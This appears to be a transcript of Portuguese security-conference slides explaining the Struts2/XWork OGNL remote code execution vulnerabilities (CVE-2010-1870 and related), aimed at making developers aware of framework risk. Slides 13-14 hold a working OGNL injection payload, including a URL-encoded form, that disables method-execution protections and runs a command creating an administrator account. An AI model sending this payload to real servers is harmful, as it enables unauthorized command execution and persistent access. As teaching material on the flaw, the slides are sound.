A apresentação está carregando. Por favor, espere

A apresentação está carregando. Por favor, espere

Struts2/XWork Remote Command Execution

Apresentações semelhantes


Apresentação em tema: "Struts2/XWork Remote Command Execution"— Transcrição da apresentação:

1 Struts2/XWork Remote Command Execution
Tiago Natel de Moura 1 1

2 Sobre mim Pesquisador e co-fundador do grupo BugSec Team. bugsec.googlecode.com Consultor de Segurança na SEC+. Co-Fundador e Lider do Capítulo da OWASP de Florianópolis. Desenvolvedor de algumas ferramentas de segurança: 2 2

3 Experiências/Interesses
Linguagens: C, C++, Assembly, Lisp Segurança: Desenvolvimento de Exploits; Buffer overflows (Stack/Heap Overrun); Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/HTTP, etc) Análise de Malwares; Web Application Vulnerabilities (SQLI, XSS, CSRF, LFD/RFI, etc) Metodologias de segurança; 3

4 Sobre essa palestra Falar sobre uma falha crítica no framework Struts que permite ao atacante executar comandos no servidor. Concientizar os desenvolvedores sobre a importância da segurança na escolha das tecnologias utilizadas no projeto. 4 4

5 A verdade sobre os frameworks
Eles também possuem falhas de segurança ... Todos eles... Java – Struts, Hibernate, Spring Microsoft .Net Ruby – Rails, Merb, Ramaze Python – Django, Twisted, web.py PHP – Zend, Symfony, Cake Você audita o código do seu framework? 5 5

6 Um pouco sobre Struts e OGNL
Struts2 é basicamente um framework para desenvolver aplicações web em Java utilizando a arquitetura de Model-View- Controller (MVC) Object-Graph Navigation Language (OGNL) é uma linguagem para acessar e setar propriedades de objetos Java. Struts2 trata os parametros HTTP como expressões OGNL. 6 6

7 CVE-2010-1870 – Struts2/XWork Remote Code Execution
The OGNL extensive expression evaluation capability in XWork in Struts through , as used in Atlassian Fisheye, Crucible, and possibly other products, uses a permissive whitelist, which allows remote attackers to modify server-side context objects and bypass the "#" protection mechanism in ParameterInterceptors via the (1) #context, (2) #_memberAccess, (3) #root, (4) #this, (5) #_typeResolver, (6) #_classResolver, (7) #_traceEvaluations, (8) #_lastEvaluation, (9) #_keepLastEvaluation, and possibly other OGNL context variables, a different vulnerability than CVE 7

8 CVE-2011-3923 - Apache Struts 'ParameterInterceptor' Class OGNL Security Bypass
Apache Struts is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input. This issue is related to the vulnerability documented in BID 32101(XWork 'ParameterInterceptor' Class OGNL Security Bypass Vulnerability). Apache Struts versions through are vulnerable. 8

9 Múltiplas Vulnerabilidades...
Remote command execution in Struts <= (ExceptionDelegator) Remote command execution in Struts <= (CookieInterceptor) Arbitrary File Overwrite in Struts <= (ParametersInterceptor) Remote command execution in Struts <= (DebuggingInterceptor) 9

10 Um exemplo de OGNL http://server/your/web/app?page['language']=en
action.getPage().setLanguage("en") 10 10

11 Como Struts2 e OGNL conduzem para uma execução remota de código
OGNL existe para referenciar variáveis usando o prefixo '#'. Adicionalmente, existem contextos pré- definidos como #session, #context... 11 11

12 Como Struts2 e OGNL conduzem para uma execução remota de código
1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a transformação das variáveis do GET para Java não escapa '#' de maneira apropriada quando ele é enviado como uma string unicode '\u0023'. 2. Existem duas chaves de contextos importantes: #context – OgnlContext – Este possui a propriedade chamada 'xwork.MethodAccessor.denyMethodExecution' o qual nega a execução de um método. #_memberAccess - SecurityMemberAccess, contém um campo chamado 'allowStaticAccess' o qual previne a execução de métodos estáticos. 12 12

13 Como Struts2 e OGNL conduzem para uma execução remota de código
É fácil ver aonde isso vai acabar ... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = #rt.exec('net user /add newadmin HACKED') 13 13

14 Como Struts2 e OGNL conduzem para uma execução remota de código
É facil ver aonde isso vai acabar... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = #rt.exec('net user /add newadmin HACKED') ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true& (aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo') (\u0023foo\u003dnew%20java.lang.Boolean("false")))& (asdf)(('\u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)') 14 14

15 Como escolher a tecnologia a ser usada no projeto?
Consulte a comunidade de segurança! 15

16 The End E-mail: natel <at> owasp.org
github: github.com/tiago4orion 16 16


Carregar ppt "Struts2/XWork Remote Command Execution"

Apresentações semelhantes


Anúncios Google